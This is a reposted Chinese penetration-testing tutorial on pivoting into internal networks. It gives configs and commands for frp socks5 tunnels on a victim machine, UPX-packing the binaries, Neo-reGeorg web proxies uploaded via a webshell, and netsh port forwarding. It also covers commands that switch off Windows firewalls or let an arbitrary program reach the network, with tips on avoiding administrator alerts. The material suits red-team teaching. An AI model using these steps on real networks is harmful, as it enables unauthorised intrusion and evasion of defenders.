18.socks代理(frp、reGeorg、netsh)


一、利用frp進行加密內網穿透

 

 

1、FRP簡介:

簡單來說,frp就是正經的內網穿透工具,被不正經的人用來從事不正經的活動。目前就使用體驗來說,frp 的代理網絡比cobalt strike的socks4a好用一些。

項目地址:https://github.com/fatedier/frp

 

2、FRP的下載於安裝:

https://github.com/fatedier/frp/releases 這個是作者自己編譯好的文件,根據我們自己的系統下載響應版本的程序即可,注意:

由於該程序的功能較多,並且是Golang打包的二進制文件,所以文件體積會比較大,在實戰環境中可以先用UPX(https://github.com/upx/upx/releases)壓縮殼,壓縮后再使用。

壓縮后frp文件的體積只有原來的四分之一:

Upx.exe -9 frpc.exe

Upx.exe -9 frps.exe

 

 

 

3、FRP建立socks5代理:

 

①服務器【Windows端】,IP:192.168.100.50

Frps.ini文件內容:

 

[common]

bind_addr = 0.0.0.0

bind_port = 7000    //frp server端監聽一個端口,等待frp client的連接

 

 

 

然后執行frps.exe -c frps.ini ,如果是linux就是./frps -c ./frps.ini

 

 

 

②目標(受害者)機器【Windows端】

Frpc.ini文件內容:

 

[common]

server_addr = 192.168.100.50    //frp server的IP

server_port = 7000             //frp server上開放的端口,就是frpc.ini中寫的端口

tsl_enable = ture

pool_count = 5

 

[plugin_socks]

type = tcp

remote_port = 1080            //會讓server端在vps開啟1080端口,以供socks5服務

plugin = socks5

plugin_user = 111              //socks5接入時的賬號

plugin_passwd = 111           //socks5接入時的密碼

use_encryption = ture          //加密數據

use_compression = ture        //壓縮數據

 

 

 

然后執行frpc.exe -c frpc.ini ,如果是linux就是./frpc -c ./frpc.ini

 

 

 

③用代理服務器連接即可,注意填寫,frpc.ini中設置的賬號密碼:

 

 

 

 

 

二、利用reGeorg建立http加密代理

 

 

1、reGeorg簡介:

在拿到webshell之后,如果發現無法提權也無法執行命令,只能停留在web層面,如果不做web的權限維持,那就只能選擇內網滲透了,抓緊時間了解內網的整體情況。因此在web層面也是可以代理的,方法就是利用腳本去復用http端口。

reGeorg是一款基於web的代理工具,我們可以通過它將腳本上傳到目標web服務器后進行訪問,從而跟客戶端配合建立Socks服務。該代理工具於2014年被公開於BlackHat,其前身是2008年SensePost在BlackHat USA 2008的reDuh延伸於擴展,可以看看:https://www.blackhat.com/eu-14/arsenal.html#regeorg

 

2、reGeorg的使用:

客戶端需要安裝一些python包,報錯就自行安裝,一般是urllib3的包,pip install urllib3即可。

項目地址:https://github.com/sensepost/reGeorg

 

3、reGeorg的弊端:

因為很多人使用,所以一般waf都會將它列入查殺的對象,檢測流量和腳本特征。

 

4、Neo-reGeorg簡介:

  Neo-reGeorg是reGeorg的重構項目,至今還在更新,並且與reGeorg的用法非常相似,相較於reGeorg它有一下幾點優勢:

  ①添加了連接密碼

  ②將傳輸過程進行加密的同時避免特征檢測(原本的reGeorg是明文的)

  ③支持更多的格式

  https://github.com/L-codes/Neo-reGeorg

 

5、Neo-reGeorg的代理:

 

  ①生成腳本:

  Python3 neoreg.py generate -k <連接密碼> -o <指定輸出目錄>

 

 

 

  

 

 

  ②上傳腳本

  生成后,挑一個能在客戶端執行的腳本上傳

  

  ③執行腳本

  執行腳本后會自動生成一個socks5代理的1080端口給我們使用,我們也可以在命令后面加上-p <端口>和-I <IP>來更換。

 

 

 

  連接代理成功,流量將從本機的1080端口轉發到內網主機上

 

 

  ④用proxifier等工具連接即可

 

 

 

然后配置一下代理規則,讓其選擇通過192.168.109.*這個地址段,也可以選擇任意端口任意地址,也可以代理本地的mstsc.exe等等,根據自己的需求來。

 

 

當然,我們也可以直接在火狐瀏覽器開代理:

 

 

 

 

  Neo-reGeorg還有許多高級用法,例如偽裝成404頁面等等,可以去https://github.com/L-codes/Neo-reGeorg/blob/master/README.md 看看。

 

 

三、利用系統自帶的netsh進行內網轉發

 

 

1、netsh簡介:

Netsh是一款自帶的高級網絡配置管理器,利用它可以輕松的管理本地或者遠程機器的Windows防火牆及各類系統網絡配置。它一開始是為了讓運維更加舒服的工具,后面被滲透老手發現了沒被用來從事滲透活動,成為一個既沒有進程又較被殺的轉發工具。

 

2、使用場景:

郵件服務器10.10.10.6只能被FTP服務器訪問,而FTP 沒有開啟防火牆,那么我們就可以利用netsh讓FTP服務器監聽一個端口,然后把該端口的數據轉發到其他機器的某個端口(例如轉發到郵件服務器10.10.10.6的443端口)

 

 

Netsh的用法跟LCX的-tran參數一樣,所以我們可以在FTP服務器(192.168.1.128)上使用netsh,然后在web服務器(192.168.2.3)上使用lcx轉發或者建立一個反向的socks代理到我們的VPS上即可。

即:Hacker ==> Socks ==> 192.168.1.128:8443 -->10.10.10.6:443

 

netsh interface portproxy add v4tov4 listenaddress=192.168.1.128 listenport=8443 connectaddress=192.168.1.4 connectport=443

 

 

 

 

此時我們只要在192.168.2.3建立一個反向的socks代理規則后,訪問FTP服務器的192.168.1.128的8443端口,就能訪問郵件服務器的web了。

 

Ⅰ  顯示所有netsh端口轉發規則:

netsh interface portproxy show v4tov4

 

 

 

Ⅱ  刪除某條規則

netsh interface portproxy delete v4tov4 listenaddress=192.168.1.128 listenport=8443

 

 

 

四、netsh在滲透中應用【防火牆】

 

 

1、netsh在滲透中的應用【防火牆】:

其實Netsh不僅僅被用來做端口轉發的工具,還有很多功能可以用於滲透當中。

 

2、用於獲取基礎信息:

   

① 查看IP配置信息:

Netsh interface ip show config

 

② 開/關網卡:

Netsh int set int name=”ethernet” admin=enabled

Netsh int set int name=”ethernet” admin=disabled

 

③ 設置本機IP、子網掩碼、網關IP:

Netsh interface ip set address “local area connection” static 192.168.1.2 255.255.255.0 192.168.1.1

 

3、控制系統防火牆——開關防火牆:

 

    ① 關閉防火牆:

    Netsh advfirewall set allprofiles state off      //全部關閉

Netsh firewall set opmode mode=disable    //會有公用網絡的不關閉

 

② 開啟防火牆:

Netsh advfirewall set allprofiles state on      //全部開啟

Netsh firewall set opmode mode=enable     //會有公用網絡的不關閉

 

③ 查看所有防火牆規則:

Netsh advfirewall firewall show rule name=all

 

④ 查看當前防火牆狀態:

Netsh advfirewall show currentprofile

 

4、配置防火牆規則

Netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block

新建一條名為:Block Ports的規則,該規則的作用是攔截遠程訪問80端口的一切基於TCP協議的連接

Name:規則名稱(取⼀個描述性的名字)

Protecol:要阻⽌的協議(⼤部分是UDP或TCP)

Dir:阻⽌的⽅向。可以是IN或OUT

Remote Port:要阻⽌的⽬標主機的端口

Action:可以是阻⽌或允許。在本例中,我們要阻⽌連接。

 

也可以用netsh advfirewall firewall add rule ?看一下用法

 

 

 

實例:

 

①  新建⼀條名為:Test,允許數據從443端口進來基於TCP協議的規則

Netsh advfirewall firewall add rule name=test protocol=TCP dir=IN localport=443 action=allow

②  新建⼀條名為:Test,禁⽌ICMP出去的規則

Netsh advfirewall firewall add rule name=test protocol=ICMPv4 dir=OUT action=block

Netsh advfirewall firewall add rule name=test protocol=ICMPv6 dir=OUT action=block

③  新建⼀條名為:Test,禁⽌數據去往8443,443端口TCP協議的規則

Netsh advfirewall firewall add rule name=test protocol=TCP remoteport=8443,443 dir=OUT action=block

④  新建⼀條名為:Test,只允許192.168.2.2和192.168.2.3訪問本機HTTP端口80的規則

Netsh advfirewall firewall add rule name=test protocol=TCP dir=IN remoteip=192.168.2.2,192.168.2.3 localport=80 action=allow

⑤  新建⼀條名為:Test,允許c:\1.exe該程序進⾏任何出⽹請求的規則

Netsh advfirewall firewall add rule name=test program="c:\1.exe" DIR=out action=allow

⑥  刪除⼀條名為:Test,允許c:\1.exe該程序進⾏任何出⽹請求的規則

Netsh advfirewall firewall delete rule name=test program="c:\1.exe" DIR=out

⑦  刪除命名為Test的所有規則

Netsh advfirewall firewall delete rule name="Test"

 

可以實現一個名字,多條規則

 

最后,關閉防火請需要謹慎,在大型機構內,系統防火牆會被外部防火牆監控着的,有關閉改動的情況是會提醒管理員的,特別是關鍵部位的機器,普通機器可能風險小一些。因此能不動防火牆就不動,能新增就不要關閉。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM